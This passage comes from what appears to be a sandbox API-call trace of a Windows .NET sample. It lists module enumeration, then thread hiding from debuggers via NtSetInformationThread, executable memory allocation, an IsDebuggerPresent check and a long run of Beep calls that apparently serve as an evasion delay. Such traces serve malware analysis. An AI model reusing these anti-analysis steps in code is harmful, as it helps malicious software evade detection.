hModule=0x74310000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\mscorlib\\b7a12c4c0032847fcc6b9c710460456f\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\mscorlib\\b7a12c4c0032847fcc6b9c710460456f\\mscorlib.ni.dll")) returned 0x68 [0236.840] CoTaskMemFree (pv=0x6682db0) [0236.840] GetModuleInformation (in: hProcess=0x288, hModule=0x77060000, lpmodinfo=0x26b4904, cb=0xc | out: lpmodinfo=0x26b4904*(lpBaseOfDll=0x77060000, SizeOfImage=0x15c000, EntryPoint=0x770aba3d)) returned 1 [0236.840] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.840] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x77060000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="ole32.dll") returned 0x9 [0236.841] CoTaskMemFree (pv=0x6682db0) [0236.841] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.841] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x77060000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll")) returned 0x1d [0236.841] CoTaskMemFree (pv=0x6682db0) [0236.841] GetModuleInformation (in: hProcess=0x288, hModule=0x73e60000, lpmodinfo=0x26b6a08, cb=0xc | out: lpmodinfo=0x26b6a08*(lpBaseOfDll=0x73e60000, SizeOfImage=0x80000, EntryPoint=0x73e737c9)) returned 1 [0236.842] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.842] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x73e60000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="uxtheme.dll") returned 0xb [0236.842] CoTaskMemFree (pv=0x6682db0) [0236.842] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.842] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x73e60000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll")) returned 0x1f [0236.843] CoTaskMemFree (pv=0x6682db0) [0236.843] GetModuleInformation (in: hProcess=0x288, hModule=0x72590000, lpmodinfo=0x26b8b14, cb=0xc | out: lpmodinfo=0x26b8b14*(lpBaseOfDll=0x72590000, SizeOfImage=0x9ad000, EntryPoint=0x0)) returned 1 [0236.843] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.843] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x72590000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="System.ni.dll") returned 0xd [0236.844] CoTaskMemFree (pv=0x6682db0) [0236.844] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.844] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x72590000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System\\500ffa28b327e171fe664023003e947e\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system\\500ffa28b327e171fe664023003e947e\\system.ni.dll")) returned 0x64 [0236.844] CoTaskMemFree (pv=0x6682db0) [0236.844] GetModuleInformation (in: hProcess=0x288, hModule=0x71e70000, lpmodinfo=0x26bacb0, cb=0xc | out: lpmodinfo=0x26bacb0*(lpBaseOfDll=0x71e70000, SizeOfImage=0x716000, EntryPoint=0x0)) returned 1 [0236.845] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.845] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x71e70000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="System.Core.ni.dll") returned 0x12 [0236.845] CoTaskMemFree (pv=0x6682db0) [0236.845] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.846] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x71e70000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Core\\386fde9190d499d6645df8b90eb76242\\System.Core.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.core\\386fde9190d499d6645df8b90eb76242\\system.core.ni.dll")) returned 0x6e [0236.846] CoTaskMemFree (pv=0x6682db0) [0236.846] GetModuleInformation (in: hProcess=0x288, hModule=0x73c90000, lpmodinfo=0x26bce6c, cb=0xc | out: lpmodinfo=0x26bce6c*(lpBaseOfDll=0x73c90000, SizeOfImage=0x1cb000, EntryPoint=0x0)) returned 1 [0236.846] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.847] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x73c90000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="Microsoft.VisualBasic.ni.dll") returned 0x1c [0236.847] CoTaskMemFree (pv=0x6682db0) [0236.847] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.847] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x73c90000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.V9921e851#\\cfbddeb6e93e8f421b92229b20e51233\\Microsoft.VisualBasic.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\microsoft.v9921e851#\\cfbddeb6e93e8f421b92229b20e51233\\microsoft.visualbasic.ni.dll")) returned 0x81 [0236.848] CoTaskMemFree (pv=0x6682db0) [0236.848] GetModuleInformation (in: hProcess=0x288, hModule=0x73f00000, lpmodinfo=0x26bf060, cb=0xc | out: lpmodinfo=0x26bf060*(lpBaseOfDll=0x73f00000, SizeOfImage=0x7d000, EntryPoint=0x73f01140)) returned 1 [0236.848] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.848] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x73f00000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="clrjit.dll") returned 0xa [0236.849] CoTaskMemFree (pv=0x6682db0) [0236.849] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.849] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x73f00000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clrjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\clrjit.dll")) returned 0x38 [0236.849] CoTaskMemFree (pv=0x6682db0) [0236.849] GetModuleInformation (in: hProcess=0x288, hModule=0x76e30000, lpmodinfo=0x26c11a0, cb=0xc | out: lpmodinfo=0x26c11a0*(lpBaseOfDll=0x76e30000, SizeOfImage=0x8f000, EntryPoint=0x76e33fb1)) returned 1 [0236.850] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.850] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x76e30000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="OLEAUT32.dll") returned 0xc [0236.850] CoTaskMemFree (pv=0x6682db0) [0236.850] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.850] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x76e30000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\OLEAUT32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll")) returned 0x20 [0236.851] CoTaskMemFree (pv=0x6682db0) [0236.851] GetModuleInformation (in: hProcess=0x288, hModule=0x73b00000, lpmodinfo=0x26c32b4, cb=0xc | out: lpmodinfo=0x26c32b4*(lpBaseOfDll=0x73b00000, SizeOfImage=0x18d000, EntryPoint=0x0)) returned 1 [0236.852] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.852] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x73b00000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="System.Drawing.ni.dll") returned 0x15 [0236.852] CoTaskMemFree (pv=0x6682db0) [0236.852] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.852] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x73b00000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Drawing\\553c0312fdf5a5449f3649f0515e70fb\\System.Drawing.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.drawing\\553c0312fdf5a5449f3649f0515e70fb\\system.drawing.ni.dll")) returned 0x74 [0236.853] CoTaskMemFree (pv=0x6682db0) [0236.853] GetModuleInformation (in: hProcess=0x288, hModule=0x71210000, lpmodinfo=0x26c5480, cb=0xc | out: lpmodinfo=0x26c5480*(lpBaseOfDll=0x71210000, SizeOfImage=0xc58000, EntryPoint=0x0)) returned 1 [0236.853] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.853] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x71210000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="System.Windows.Forms.ni.dll") returned 0x1b [0236.854] CoTaskMemFree (pv=0x6682db0) [0236.854] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.854] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x71210000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Windows.Forms\\7a6894982f35a1d75ec73d447c583da2\\System.Windows.Forms.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.windows.forms\\7a6894982f35a1d75ec73d447c583da2\\system.windows.forms.ni.dll")) returned 0x80 [0236.854] CoTaskMemFree (pv=0x6682db0) [0236.854] GetModuleInformation (in: hProcess=0x288, hModule=0x73ee0000, lpmodinfo=0x26c7670, cb=0xc | out: lpmodinfo=0x26c7670*(lpBaseOfDll=0x73ee0000, SizeOfImage=0x16000, EntryPoint=0x73ee2dc3)) returned 1 [0236.855] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.855] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x73ee0000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="CRYPTSP.dll") returned 0xb [0236.855] CoTaskMemFree (pv=0x6682db0) [0236.856] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.856] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x73ee0000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\CRYPTSP.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll")) returned 0x1f [0236.856] CoTaskMemFree (pv=0x6682db0) [0236.856] GetModuleInformation (in: hProcess=0x288, hModule=0x73ac0000, lpmodinfo=0x26c9888, cb=0xc | out: lpmodinfo=0x26c9888*(lpBaseOfDll=0x73ac0000, SizeOfImage=0x3b000, EntryPoint=0x73ac128d)) returned 1 [0236.857] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.857] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x73ac0000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="rsaenh.dll") returned 0xa [0236.857] CoTaskMemFree (pv=0x6682db0) [0236.857] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.857] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x73ac0000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll")) returned 0x1e [0236.858] CoTaskMemFree (pv=0x6682db0) [0236.858] GetModuleInformation (in: hProcess=0x288, hModule=0x73a30000, lpmodinfo=0x26cb994, cb=0xc | out: lpmodinfo=0x26cb994*(lpBaseOfDll=0x73a30000, SizeOfImage=0x84000, EntryPoint=0x73a319a9)) returned 1 [0236.859] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.859] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x73a30000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="comctl32.dll") returned 0xc [0236.859] CoTaskMemFree (pv=0x6682db0) [0236.859] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.859] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x73a30000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\WinSxS\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll")) returned 0x7b [0236.860] CoTaskMemFree (pv=0x6682db0) [0236.860] GetModuleInformation (in: hProcess=0x288, hModule=0x73a10000, lpmodinfo=0x26cdb5c, cb=0xc | out: lpmodinfo=0x26cdb5c*(lpBaseOfDll=0x73a10000, SizeOfImage=0x13000, EntryPoint=0x73a118f0)) returned 1 [0236.860] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.860] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x73a10000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="nlssorting.dll") returned 0xe [0236.861] CoTaskMemFree (pv=0x6682db0) [0236.861] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.861] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x73a10000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\nlssorting.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\nlssorting.dll")) returned 0x3c [0236.862] CoTaskMemFree (pv=0x6682db0) [0236.862] GetModuleInformation (in: hProcess=0x288, hModule=0x73940000, lpmodinfo=0x26cfcac, cb=0xc | out: lpmodinfo=0x26cfcac*(lpBaseOfDll=0x73940000, SizeOfImage=0xc5000, EntryPoint=0x0)) returned 1 [0236.862] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.862] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x73940000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="System.Runtime.Remoting.ni.dll") returned 0x1e [0236.863] CoTaskMemFree (pv=0x6682db0) [0236.863] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.863] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x73940000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Runt73a1fc9d#\\7dc02b53cd1fa9685d4cf9a94fe7998c\\System.Runtime.Remoting.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.runt73a1fc9d#\\7dc02b53cd1fa9685d4cf9a94fe7998c\\system.runtime.remoting.ni.dll")) returned 0x83 [0236.864] CoTaskMemFree (pv=0x6682db0) [0236.864] GetModuleInformation (in: hProcess=0x288, hModule=0x71080000, lpmodinfo=0x26d1ea8, cb=0xc | out: lpmodinfo=0x26d1ea8*(lpBaseOfDll=0x71080000, SizeOfImage=0x190000, EntryPoint=0x7111d026)) returned 1 [0236.864] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.864] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x71080000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="gdiplus.dll") returned 0xb [0236.865] CoTaskMemFree (pv=0x6682db0) [0236.865] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.865] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x71080000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\WinSxS\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\\gdiplus.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\\gdiplus.dll")) returned 0x71 [0236.866] CoTaskMemFree (pv=0x6682db0) [0236.866] GetModuleInformation (in: hProcess=0x288, hModule=0x70ee0000, lpmodinfo=0x26d407c, cb=0xc | out: lpmodinfo=0x26d407c*(lpBaseOfDll=0x70ee0000, SizeOfImage=0x19e000, EntryPoint=0x70f0e6b5)) returned 1 [0236.866] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.867] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x70ee0000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="comctl32.dll") returned 0xc [0236.867] CoTaskMemFree (pv=0x6682db0) [0236.867] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.867] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x70ee0000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\WinSxS\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll")) returned 0x7a [0236.868] CoTaskMemFree (pv=0x6682db0) [0236.868] GetModuleInformation (in: hProcess=0x288, hModule=0x735f0000, lpmodinfo=0x26d6244, cb=0xc | out: lpmodinfo=0x26d6244*(lpBaseOfDll=0x735f0000, SizeOfImage=0x13000, EntryPoint=0x735f1d3f)) returned 1 [0236.869] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.869] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x735f0000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="dwmapi.dll") returned 0xa [0236.869] CoTaskMemFree (pv=0x6682db0) [0236.869] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.869] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x735f0000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll")) returned 0x1e [0236.870] CoTaskMemFree (pv=0x6682db0) [0236.870] GetModuleInformation (in: hProcess=0x288, hModule=0x75b40000, lpmodinfo=0x26d8350, cb=0xc | out: lpmodinfo=0x26d8350*(lpBaseOfDll=0x75b40000, SizeOfImage=0x83000, EntryPoint=0x75b423d2)) returned 1 [0236.871] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.871] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x75b40000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="CLBCatQ.DLL") returned 0xb [0236.871] CoTaskMemFree (pv=0x6682db0) [0236.871] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.871] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x75b40000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\CLBCatQ.DLL" (normalized: "c:\\windows\\syswow64\\clbcatq.dll")) returned 0x1f [0236.872] CoTaskMemFree (pv=0x6682db0) [0236.872] GetModuleInformation (in: hProcess=0x288, hModule=0x70de0000, lpmodinfo=0x26da45c, cb=0xc | out: lpmodinfo=0x26da45c*(lpBaseOfDll=0x70de0000, SizeOfImage=0xfb000, EntryPoint=0x70df17e1)) returned 1 [0236.873] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.873] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x70de0000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="WindowsCodecs.dll") returned 0x11 [0236.873] CoTaskMemFree (pv=0x6682db0) [0236.873] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.873] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x70de0000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\WindowsCodecs.dll" (normalized: "c:\\windows\\system32\\windowscodecs.dll")) returned 0x25 [0236.874] CoTaskMemFree (pv=0x6682db0) [0236.874] GetModuleInformation (in: hProcess=0x288, hModule=0x77ae0000, lpmodinfo=0x26dc580, cb=0xc | out: lpmodinfo=0x26dc580*(lpBaseOfDll=0x77ae0000, SizeOfImage=0x5000, EntryPoint=0x77ae1438)) returned 1 [0236.875] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.875] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x77ae0000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="psapi.dll") returned 0x9 [0236.875] CoTaskMemFree (pv=0x6682db0) [0236.875] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.875] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x77ae0000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\psapi.dll" (normalized: "c:\\windows\\syswow64\\psapi.dll")) returned 0x1d [0236.876] CoTaskMemFree (pv=0x6682db0) [0236.876] CloseHandle (hObject=0x288) returned 1 [0236.905] GetCurrentThreadId () returned 0x31c [0236.906] OpenThread (dwDesiredAccess=0x20, bInheritHandle=0, dwThreadId=0x31c) returned 0x288 [0236.911] NtSetInformationThread (ThreadHandle=0x288, ThreadInformationClass=0x11, ThreadInformation=0x0, ThreadInformationLength=0x0) returned 0x0 [0236.974] NtAllocateVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x540e528*=0x0, ZeroBits=0x0, RegionSize=0x540e520*=0x6, AllocationType=0x1000, Protect=0x40 | out: BaseAddress=0x540e528*=0xdf0000, RegionSize=0x540e520*=0x1000) returned 0x0 [0237.047] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x540e528*=0xdf0000, NumberOfBytesToProtect=0x540e524, NewAccessProtection=0x140, OldAccessProtection=0x540e51c | out: BaseAddress=0x540e528*=0xdf0000, NumberOfBytesToProtect=0x540e524, OldAccessProtection=0x540e51c*=0x40) returned 0x0 [0238.960] IsDebuggerPresent () returned 0 [0239.348] GetProcessMemoryInfo (Process=0xffffffff, ppsmemCounters=0x540e504, cb=0x28) returned 1 [0239.383] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0239.397] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0239.409] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0239.425] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0239.441] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0239.455] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0239.470] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0239.486] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0239.502] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0239.517] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0239.542] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0239.550] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0239.570] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0239.587] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0239.598] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0239.623] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0239.642] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0239.652] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0239.666] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0239.681] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0239.696] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0239.717] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0239.732] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0239.747] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0239.765] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0239.769] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0239.786] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0239.808] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0239.818] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0239.834] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0239.859] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0239.873] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0239.881] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0239.886] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0239.903] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0239.916] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0239.934] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0239.938] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0239.948] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0239.961] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0239.974] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0239.991] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0239.994] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0239.996] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0239.997] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0240.014] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0240.035] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0240.045] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0240.067] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0240.087] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0240.102] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0240.112] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0240.132] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0240.144] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0240.163] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0240.165] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0240.174] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0240.188] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0240.200] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0240.220] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0240.242] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0240.255] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0240.265] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0240.280] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0240.282] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0240.308] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0240.318] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0240.331] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0240.348] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0240.363] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0240.379] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0240.383] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0240.384] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0240.387] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0240.403] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0240.424] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0240.434] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0240.453] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0240.471] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0240.486] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0240.489] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0240.490] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0240.492] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0240.493] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0240.496] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0240.512] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0240.530] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0240.545] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0240.569] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0240.755] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0240.757] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0240.759] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0240.810] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0240.811] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0240.812] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0240.813] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0240.814] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0240.815] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0240.816] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0240.817] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0240.818] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0240.819] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0240.820] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0240.822] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0240.823] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0240.824] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0240.825] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0240.826] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0240.827] Beep 